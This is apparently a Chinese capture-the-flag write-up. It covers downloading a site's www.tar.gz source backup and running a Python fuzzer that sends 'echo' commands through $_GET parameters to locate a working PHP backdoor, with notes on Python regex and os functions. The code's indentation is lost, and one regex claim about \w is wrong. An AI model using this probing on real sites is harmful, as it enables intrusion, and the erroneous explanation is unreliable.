這一題一開始我沒有理解"www.tar.gz"的涵義,還以為有一個其他的網站叫這個,后來才突然頓悟他也有可能是一個目錄!!!地址欄輸入”/www.tar.gz“ 然后就可以得到源碼
http://63e1a96d-8153-41cc-bd10-2fe12e5ce3ef.node3.buuoj.cn/www.tar.gz
解壓下來發現大量的PHP文件,猜測會不會有木馬可以利用,嘗試搜索一下關鍵字發現了
繼續搜索
但是不知道那些是可以被利用的,搜出來的結果又很多,查了一下WP才知道這道題考的是fuzzing,找了一篇爆破腳本但是菜雞不是很理解,於是在這里記錄一下:
#!/usr/bin/env python3
import requests
import os
import re
url = 'http://localhost/src/'
ptn = re.compile(br"\$_GET\['(\w+)'\]")
ptn1 = re.compile(br'>>> (\w+) !!!')
i = 0
for f in list(os.scandir('/var/www/html/src'))[::-1]:
i += 1
print(i, end='\r')
with open(f.path, 'rb') as fp:
data = fp.read()
for get in set(ptn.findall(data)):
get = get.decode('ascii')
cmd = 'echo ">>> %s !!!";' % get
r = requests.get(url + f.name, params={get: cmd})
if ptn1.search(r.content) is not None:
print()
print(f.name, get)
exit()
re.compile()是什么函數:
re.compile():compile(pattern [, flags])
根據包含的正則表達式的字符串創建模式對象。可以實現更有效率的匹配。
在直接使用字符串表示的正則表達式進行search,match和findall操作時,python會將字符串轉換為正則表達式對象。
而使用compile完成一次轉換之后,在每次使用模式的時候就不用重復轉換。
當然,使用re.compile()函數進行轉換后,re.search(pattern, string)的調用方式就轉換為 pattern.search(string)的調用方式。
br"……" :這是什么寫法?
r/R:非轉義的原始字符串
與普通字符相比,其他相對特殊的字符,其中可能包含轉義字符,即那些,反斜杠加上對應字母,表示對應的特殊含義的,比如最常見的”\n”表示換行,”\t”表示Tab等。
而如果是以r開頭,那么說明后面的字符,都是普通的字符了,即如果是“\n”那么表示一個反斜杠字符,一個字母n,而不是表示換行了。
以r開頭的字符,常用於正則表達式,對應着re模塊。
b:bytes
python3.x里默認的str是(py2.x里的)unicode, bytes是(py2.x)的str, b""前綴代表的就是bytes
python2.x里, b前綴沒什么具體意義, 只是為了兼容python3.x的這種寫法
"\$_GET\['(\w+)'\]" :匹配的意思
\w :匹配字母或數字或下划線或漢字 等價於 '[^A-Za-z0-9_]'
+ :匹配1-無窮
(br'>>> (\w+) !!!') #匹配 >>>(……) !!!
(br"\$_GET\['(\w+)'\]") #匹配$_GET['……']
os.scandir() : 返回一個迭代器包含目錄中所有的對象,對象包含文件屬性信息
list(os.scandir('D:\phpstudy_pro\WWW\www.laolao.com\各種demo\src'))[::-1]:
f.path:
data:
ptn.findall():
第二個for循環的意思:
后面的request使用構造的" echo " 來檢查是不是有后門 //echo 適用於Linux系統 :
參考資料:
腳本來源:http://blog.leanote.com/post/xp0int/%5BWeb%5D-%E9%AB%98%E6%98%8E%E7%9A%84%E9%BB%91%E5%AE%A2-LanceaKI
Python文件操作-OS模塊(參考):https://blog.csdn.net/hjjdehao/article/details/52606815
python 中的 re.compile 函數:https://www.jianshu.com/p/c98eec7b020e
正則表達式re.compile():https://blog.csdn.net/Darkman_EX/article/details/80973656